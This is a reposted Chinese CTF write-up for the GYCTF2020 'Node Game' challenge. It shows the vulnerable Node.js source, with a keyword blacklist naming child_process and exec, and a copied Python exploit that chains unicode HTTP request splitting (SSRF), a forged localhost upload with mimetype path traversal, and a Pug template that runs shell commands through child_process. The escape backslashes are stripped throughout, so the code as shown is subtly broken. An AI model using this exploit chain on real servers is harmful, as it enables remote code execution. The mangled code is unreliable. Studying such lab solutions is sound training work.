[GYCTF2020]Node Game-解题步骤详解

admin 2022年5月7日18:46:49评论107 views字数 4023阅读13分24秒阅读模式

[GYCTF2020]Node Game-解题步骤详解一道nodejs题,可以直接拿到源码

var express = require('express');var app = express();var fs = require('fs');var path = require('path');var http = require('http');var pug = require('pug');var morgan = require('morgan');const multer = require('multer');

app.use(multer({dest: './dist'}).array('file'));app.use(morgan('short'));app.use("/uploads",express.static(path.join(__dirname, '/uploads')))app.use("/template",express.static(path.join(__dirname, '/template')))

app.get('/', function(req, res) { var action = req.query.action?req.query.action:"index"; if( action.includes("/") || action.includes("\") ){ res.send("Errrrr, You have been Blocked"); } file = path.join(__dirname + '/template/'+ action +'.pug'); var html = pug.renderFile(file); res.send(html);});
app.post('/file_upload', function(req, res){ var ip = req.connection.remoteAddress; var obj = { msg: '', } if (!ip.includes('127.0.0.1')) { obj.msg="only admin's ip can use it" res.send(JSON.stringify(obj)); return } fs.readFile(req.files[0].path, function(err, data){ if(err){ obj.msg = 'upload failed'; res.send(JSON.stringify(obj)); }else{ var file_path = '/uploads/' + req.files[0].mimetype +"/"; var file_name = req.files[0].originalname var dir_file = __dirname + file_path + file_name if(!fs.existsSync(__dirname + file_path)){ try { fs.mkdirSync(__dirname + file_path) } catch (error) { obj.msg = "file type error"; res.send(JSON.stringify(obj)); return } } try { fs.writeFileSync(dir_file,data) obj = { msg: 'upload success', filename: file_path + file_name } } catch (error) { obj.msg = 'upload failed'; } res.send(JSON.stringify(obj)); } })})
app.get('/source', function(req, res) { res.sendFile(path.join(__dirname + '/template/source.txt'));});

app.get('/core', function(req, res) { var q = req.query.q; var resp = ""; if (q) { var url = 'http://localhost:8081/source?' + q console.log(url) var trigger = blacklist(url); if (trigger === true) { res.send(""); } else { try { http.get(url, function(resp) { resp.setEncoding('utf8'); resp.on('error', function(err) { if (err.code === "ECONNRESET") { console.log("Timeout occurs"); return; } });
resp.on('data', function(chunk) { try { resps = chunk.toString(); res.send(resps); }catch (e) { res.send(e.message); } }).on('error', (e) => { res.send(e.message);}); }); } catch (error) { console.log(error); } } } else { res.send("search param 'q' missing!"); }})
function blacklist(url) { var evilwords = ["global", "process","mainModule","require","root","child_process","exec",""","'","!"]; var arrayLen = evilwords.length; for (var i = 0; i < arrayLen; i++) { const trigger = url.includes(evilwords[i]); if (trigger === true) { return true } }}
var server = app.listen(8081, function() { var host = server.address().address var port = server.address().port console.log("Example app listening at http://%s:%s", host, port)})           

简单的审计了一下,猜测利用点在这。

[GYCTF2020]Node Game-解题步骤详解

这里的action参数是我们可控的,结合文件上传界面,猜测是要想办法实现目录穿越,传文件到/template目录下之后利用pug.renderFile函数拿到flag。

在上传界面看到ip必须得是127.0.0.1才能进行上传。

[GYCTF2020]Node Game-解题步骤详解

看到这里,文件名和mimetype进行了拼接,所以目录穿越可以利用mimitype。

但是不知道怎么进行ssrf,看了这篇文章:

通过拆分攻击实现的SSRF攻击

网上抄的大佬的exp:

import requests
payload = """ HTTP/1.1Host: 127.0.0.1Connection: keep-alive
POST /file_upload HTTP/1.1Host: 127.0.0.1Content-Length: {}Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysAs7bV3fMHq0JXUt
{}""".replace('n', 'rn')
body = """------WebKitFormBoundarysAs7bV3fMHq0JXUtContent-Disposition: form-data; name="file"; filename="lethe.pug"Content-Type: ../template
-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")-return x------WebKitFormBoundarysAs7bV3fMHq0JXUt--
""".replace('n', 'rn')
payload = payload.format(len(body), body) .replace('+', 'u012b') .replace(' ', 'u0120') .replace('rn', 'u010du010a') .replace('"', 'u0122') .replace("'", 'u0a27') .replace('[', 'u015b') .replace(']', 'u015d') + 'GET' + 'u0120' + '/'
requests.get( 'http://5750e068-33b5-4a65-a6bf-82412fdee97e.node3.buuoj.cn/core?q=' + payload)
print(requests.get( 'http://5750e068-33b5-4a65-a6bf-82412fdee97e.node3.buuoj.cn/?action=lethe').text)

[GYCTF2020]Node Game-解题步骤详解

emmm,直接一直不会nodejs,学了一段时间,现在看得懂代码了找得到利用点了还是做不出题,太菜了。

原文来自CSDN博主「fmyyy1」|侵删




[GYCTF2020]Node Game-解题步骤详解

[GYCTF2020]Node Game-解题步骤详解


中电运行是专业专注培养能源企业IT工匠和提供IT整体解决方案的服务商,也是能源互联网安全专家。

为方便大家沟通,中电运行开通“中电运行交流群”,诚挚欢迎能源企业和相关人士,以及对网络安全感兴趣的群体加入本群,真诚交流,互相学习[GYCTF2020]Node Game-解题步骤详解[GYCTF2020]Node Game-解题步骤详解。想加入我们就给我们留言吧[GYCTF2020]Node Game-解题步骤详解

[GYCTF2020]Node Game-解题步骤详解

[GYCTF2020]Node Game-解题步骤详解

小白必读!寰宇卫士手把手教你栈溢出(上)

手把手教你栈溢出(中)

手把手教你栈溢出(下)

《信息安全知识》之法律关键常识汇总

CTF经验分享|带你入门带你飞!

[GYCTF2020]Node Game-解题步骤详解

原文始发于微信公众号(寰宇卫士):[GYCTF2020]Node Game-解题步骤详解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月7日18:46:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [GYCTF2020]Node Game-解题步骤详解http://cn-sec.com/archives/984976.html

发表评论

匿名网友 填写信息